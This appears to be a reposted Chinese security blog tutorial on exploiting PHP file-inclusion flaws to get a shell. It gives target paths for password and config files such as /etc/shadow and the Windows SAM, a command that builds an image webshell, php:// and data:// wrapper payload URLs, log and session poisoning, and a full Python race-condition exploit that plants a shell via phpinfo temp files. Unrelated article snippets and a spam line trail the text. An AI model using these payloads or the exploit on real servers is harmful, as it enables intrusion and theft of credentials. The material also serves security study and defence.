<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    文件包含利用思路

    VSole2021-12-10 21:28:32

    文件包含簡介

        開發人員通常會把可重復使用的函數寫到單個文件中,在使用某些函數時,直接調用此文件,而無需再次編寫,這種調用文件的過程一般被稱為包含。

        為了使代碼更加靈活,通常會將被包含的文件設置為變量,用來進行動態調用,但正是由于這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。

    文件包含漏洞的環境要求

    · 變量可控
    · allow_url_fopen=On(默認為On) 規定是否允許從遠程服務器或者網站檢索數據 (遠程包含條件)
    · allow_url_include=On(php5.2之后默認為Off) 規定是否允許include/require遠程文件 (本地包含條件)
    

    繞過有后綴限制的包含

    ①使用%00 截斷:

    使用條件:

    為當前php版本小于5.3.4否則無法使用且還需要關閉魔術引號(magic_quotes_gpc=off)

    ②長度截斷(利用垃圾字符填充):

    Windows 長度最長為256

    Linux  長度最長為4096

    一、利用思路:

    ①包含一些敏感的配置文件;

    ②配合圖片馬

    ③配合php偽協議

    ④配合日志文件

    ⑤配合session文件

    ⑥利用臨時文件

    二、實現方法

    1、包含一些敏感的配置文件;

    Windows

    # Windows系統的一個基本系統配置文件C:\Windows\win.ini
    # 查看系統版本c:\boot.ini
    # IIS配置文件c:\windows\system32\inetsrv\MetaBase.xml 
    # 存儲Windows系統初次安裝的密碼c:\windows\repair\sam 
    # MySQL配置c:\ProgramFiles\mysql\my.ini 
    # MySQL root密碼c:\ProgramFiles\mysql\data\mysql\user.MYD 
    # php 配置信息c:\windows\php.ini
    

    Linux

    # 賬戶信息/etc/passwd
    # 賬戶密碼文件/etc/shadow
    # Apache2默認配置文件/usr/local/app/apache2/conf/httpd.conf
    # 虛擬網站配置/usr/local/app/apache2/conf/extra/httpd-vhost.conf
    # PHP 配置文件/usr/local/app/php5/lib/php.ini
    # Apache 配置文件/etc/httpd/conf/httpd.conf
    # MySQL 配置文件/etc/my.conf
    

    2、配合圖片馬

    文件包含能夠配合圖片馬,是因為文件包含能使得任意文件都以后端腳本形式進行執行,如php的站就會將圖片以php的方式執行一遍,這才有了圖片馬的配合從而getshell

    php 為例

    #寫入一句話并保存為shell.php文件');?>
    

    生成圖片木馬(Windows)命令

    1.jpg為正常圖片,shell.php為寫入的一句話木馬

    copy 1.jpg/b+shell.php shell.jpg
    

    將其上傳至服務器再進行文件包含就能利用到了

    訪問文件是存在該圖片

    此時還是不存在shell.php文件

    進行包含 再次驗證


    此時可以對比發現shell.php不再出現Not Fund錯誤了

    進行執行phpinfo()

    成功執行, 說明命令成功 已經可以getshell了

    3、配合PHP偽協議

    各協議的利用條件和用法

    php://input

    php://input可以訪問請求的原始數據的只讀流,將post請求的數據當作php代碼執行。當傳入的參數作為文件名打開時,可以將參數設為php://input,同時post想設置的文件內容,php執行時會將post內容當作文件內容。

    注:當enctype=”multipart/form-data”時,php://input是無效的,以及需要開啟all_url_include才能使用。

    http://192.168.8.10/include.php?filename=php://input
    POST:
    

    php://filter

    php://filter可以獲取指定文件源碼。當它與包含函數結合時,php://filter流會被當作php文件執行。所以我們一般對其進行編碼,讓其不執行。從而導致 任意文件讀取

    http://192.168.8.10/include.php?filename=php://filter/read=convert.base64-encode/resource=shell.php
    

    data://

    數據流封裝器,以GET傳遞相應格式的數據。通常可以用來執行PHP代碼。

    1、data://text/plain,http://192.168.8.10/include.php?filename=data://text/plain,
    


    2、data://text/plain;base64,http://192.168.8.10/include.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
    


    這里只簡單列舉了三種方法。

    4、配合日志文件

    利用條件:知道日志文件的存儲路徑,并且日志文件可讀。

    利用用戶發起請求成功后服務器就會將其請求到的相應信息記錄到access.log日志中, 從而配置利用日志文件包含, 不過要注意的是在寫入一句話時, url會進行編碼, 所以用burp抓包請求后再放出或者利用curl命令也行

    可以通過猜測常見日志文件的路徑進行讀取, 或者利用phpinfo頁面進行確定log位置(查找 server root 關鍵詞)


    進行包含

    http://192.168.8.10/include.php?filename=C:\\phpStudy\\PHPTutorial\\Apache\\logs\\access.log
    

    5、配合session文件

    常見的php-session存放位置:

    1./var/lib/php/sess_PHPSESSID

    2./var/lib/php/sess_PHPSESSID

    3./tmp/sess_PHPSESSID

    4./tmp/sessions/sess_PHPSESSID

    也可以利用phpinfo(session.save_path)讀取到session文件所在

    session 的文件名格式為 sess_[phpsessid]。而 phpsessid 在發送的請求的 cookie 字段中可以看到

    要想利用就得要有請求登錄, 這里可以借助phpmyadmin平臺

    6、利用臨時文件

    ① 利用能訪問的phpinfo頁面,對其一次發送大量數據造成臨時文件沒有及時被刪除

    利用方法簡述:

    在給PHP發送POST數據包時,如果數據包里包含文件區塊,無論你訪問的代碼中有沒有處理文件上傳的邏輯,PHP都會將這個文件保存成一個臨時文件(通常是/tmp/php[6個隨機字符]),文件名可以在$_FILES變量中找到。這個臨時文件,在請求結束后就會被刪除。

    同時,因為phpinfo頁面會將當前請求上下文中所有變量都打印出來,所以我們如果向phpinfo頁面發送包含文件區塊的數據包,則即可在返回包里找到$_FILES變量的內容,自然也包含臨時文件名。

    在文件包含漏洞找不到可利用的文件時,即可利用這個方法,找到臨時文件名,然后包含之。

    但文件包含漏洞和phpinfo頁面通常是兩個頁面,理論上我們需要先發送數據包給phpinfo頁面,然后從返回頁面中匹配出臨時文件名,再將這個文件名發送給文件包含漏洞頁面,進行getshell。在第一個請求結束時,臨時文件就被刪除了,第二個請求自然也就無法進行包含。

    這個時候就需要用到條件競爭,具體流程如下:

    1、發送包含了webshell的上傳數據包給phpinfo頁面,這個數據包的header、get等位置需要塞滿垃圾數據

    2、因為phpinfo頁面會將所有數據都打印出來,1中的垃圾數據會將整個phpinfo頁面撐得非常大

    3、php默認的輸出緩沖區大小為4096,可以理解為php每次返回4096個字節給socket連接

    4、所以,我們直接操作原生socket,每次讀取4096個字節。只要讀取到的字符里包含臨時文件名,就立即發送第二個數據包

    5、此時,第一個數據包的socket連接實際上還沒結束,因為php還在繼續每次輸出4096個字節,所以臨時文件此時還沒有刪除

    6、利用這個時間差,第二個數據包,也就是文件包含漏洞的利用,即可成功包含臨時文件,最終getshell

    存在phpinfo頁面


    條件競爭EXP

    #!/usr/bin/python import sysimport threadingimport socket
    def setup(host, port):    TAG="Security Test"    PAYLOAD="""%s\r')?>\r""" % TAG    REQ1_DATA="""-----------------------------7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r%s-----------------------------7dbff1ded0714--\r""" % PAYLOAD    padding="A" * 5000    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\rHTTP_ACCEPT: """ + padding + """\rHTTP_USER_AGENT: """+padding+"""\rHTTP_ACCEPT_LANGUAGE: """+padding+"""\rHTTP_PRAGMA: """+padding+"""\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\rContent-Length: %s\rHost: %s\r\r%s""" %(len(REQ1_DATA),host,REQ1_DATA)    #modify this to suit the LFI script       LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\rUser-Agent: Mozilla/4.0\rProxy-Connection: Keep-Alive\rHost: %s\r\r\r"""    return (REQ1, TAG, LFIREQ)
    def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
        s.connect((host, port))    s2.connect((host, port))
        s.send(phpinforeq)    d = ""    while len(d) < offset:        d += s.recv(offset)    try:        i = d.index("[tmp_name] => ")        fn = d[i+17:i+31]    except ValueError:        return None
        s2.send(lfireq % (fn, host))    d = s2.recv(4096)    s.close()    s2.close()
        if d.find(tag) != -1:        return fn
    counter=0class ThreadWorker(threading.Thread):    def __init__(self, e, l, m, *args):        threading.Thread.__init__(self)        self.event = e        self.lock =  l        self.maxattempts = m        self.args = args
        def run(self):        global counter        while not self.event.is_set():            with self.lock:                if counter >= self.maxattempts:                    return                counter+=1
                try:                x = phpInfoLFI(*self.args)                if self.event.is_set():                    break                                if x:                    print "Got it! Shell created in /tmp/g"                    self.event.set()
                except socket.error:                return
    def getOffset(host, port, phpinforeq):    """Gets offset of tmp_name in the php output"""    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.connect((host,port))    s.send(phpinforeq)
        d = ""    while True:        i = s.recv(4096)        d+=i                if i == "":            break        # detect the final chunk        if i.endswith("0\r\r"):            break    s.close()    i = d.find("[tmp_name] => ")    if i == -1:        raise ValueError("No php tmp_name in phpinfo output")
        print "found %s at %i" % (d[i:i+10],i)    # padded up a bit    return i+256
    def main():
        print "LFI With PHPInfo()"    print "-=" * 30
        if len(sys.argv) < 2:        print "Usage: %s host [port] [threads]" % sys.argv[0]        sys.exit(1)
        try:        host = socket.gethostbyname(sys.argv[1])    except socket.error, e:        print "Error with hostname %s: %s" % (sys.argv[1], e)        sys.exit(1)
        port=80    try:        port = int(sys.argv[2])    except IndexError:        pass    except ValueError, e:        print "Error with port %d: %s" % (sys.argv[2], e)        sys.exit(1)
        poolsz=10    try:        poolsz = int(sys.argv[3])    except IndexError:        pass    except ValueError, e:        print "Error with poolsz %d: %s" % (sys.argv[3], e)        sys.exit(1)
        print "Getting initial offset...",      reqphp, tag, reqlfi = setup(host, port)    offset = getOffset(host, port, reqphp)    sys.stdout.flush()
        maxattempts = 1000    e = threading.Event()    l = threading.Lock()
        print "Spawning worker pool (%d)..." % poolsz    sys.stdout.flush()
        tp = []    for i in range(0,poolsz):        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
        for t in tp:        t.start()    try:        while not e.wait(1):            if e.is_set():                break            with l:                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))                sys.stdout.flush()                if counter >= maxattempts:                    break        print        if e.is_set():            print "Woot!  \m/"        else:            print ":("    except KeyboardInterrupt:        print "Telling threads to shutdown..."        e.set()
        print "Shuttin' down..."    for t in tp:        t.join()
    if __name__=="__main__":    main()
    

    創建成功在/tmp/g文件

    通過請求嘗試執行phpinfo()

    ②PHP版本<7.2,利用php崩潰留下臨時文件

    php7 segment fault特性

    段錯誤(segment fault)就是指訪問的內存超過了系統所給這個程序的內存空間。從而發生程序退出。緩存文件就留在了tmp目錄

      向PHP發送含有文件區塊的數據包時,讓PHP異常崩潰退出,POST的臨時文件就會被保留

    php < 7.2

    Linux:php://filter/string.strip_tags/resource=/etc/passwd
    Windowsphp://filter/string.strip_tags/resource=C:/Windows/win.ini
    

    php7 老版本通殺

    php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
    

    PY代碼如下:

    import requestsfrom io import BytesIOimport re
    payload = ""file_data = {    'file': BytesIO(payload.encode())}url = "http://127.0.0.1/include.php?"\      +"filename=php://filter/string.strip_tags/resource=C:/Windows/win.ini"r = requests.post(url=url, files=file_data, allow_redirects=False)
    

    成功利用上包含了該臨時文件

    php臨時文件
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    審計test.php知,當參數$a不為空,且讀取的文件中包含’I want flag’時,即可顯示$flag。所以我們一般對其進行編碼,讓其不執行。從而導致 任意文件讀取。POC1直接讀取xxx.php文件,但大多數時候很多信息無法直接顯示在瀏覽器頁面上,所以需要采取POC2中方法將文件內容進行base64編碼后顯示在瀏覽器上,再自行解碼。
    1. 文件包含漏洞概念通過PHP函數引入文件時,傳入的文件名沒有經過合理的驗證,從而操作了預想之外的文件,就可能導致意外的文件泄漏甚至惡意代碼注入
    文件包含利用思路
    2021-12-10 21:28:32
    開發人員通常會把可重復使用的函數寫到單個文件中,在使用某些函數時,直接調用此文件,而無需再次編寫,這種調用文件的過程一般被稱為包含。????為了使代碼更加靈活,通常會將被包含的文件設置為變量,用來進行動態調用,但正是由于這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。
    測試鏈接是否能夠訪問 判斷操作系統版本 傳遞一個數組,嘗試爆絕對路徑 指定上傳路徑
    之前有看到goby反制和松鼠A師傅蟻劍反制的文章,再想到之前寫過sqlmap的shell免殺,覺得思路其實差不多,就寫一篇sqlmap的反制吧。
    剛過完年的時候在XXX社區看到了這篇文章《記一次滲透實戰-代碼審計到getshell》 通過搜索發現對應的是 冰心網絡驗證 http://wlyz.bingxs.com/ 于是嘗試在本地進行安裝進行審計 下載安裝包 https://teorun.lanzout.com/izfhn 下載安裝后,我們看到如果利用 phpstudy 設定域名,或者非 127.0.0.1 的 ip 地址時
    最近由于筆者所在的研發集團產品需要,需要支持高性能的大文件(大都數是4GB以上)的http上傳,并且要求支持http斷點續傳。筆者在以前的博客如何實現支持大文件的高性能HTTP文件上傳服務器已經介紹了實現大文件上傳的一些基本概念,其實非常簡單,這里在簡要歸納一下,方便記憶:
    從偶遇Flarum開始的RCE之旅
    前言:__autoload魔術方法從PHP7.2.0開始被廢棄,并且在PHP8.0.0以上的版本完全廢除。
    藍隊初級防護總結
    2023-01-09 10:11:55
    三. 網站被上傳webshell如何處理?工具方面比如使用D盾webshellkill,河馬webshell查殺,百度在線webshell查殺等工具對網站目錄進行排查查殺,如果是在護網期間可以將樣本備份再進行查殺。堡壘機是針對內部運維人員的運維安全審計系統。WAFWAF是以網站或應用系統為核心的安全產品,通過對HTTP或HTTPS的Web攻擊行為進行分析并攔截,有效的降低網站安全風險。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类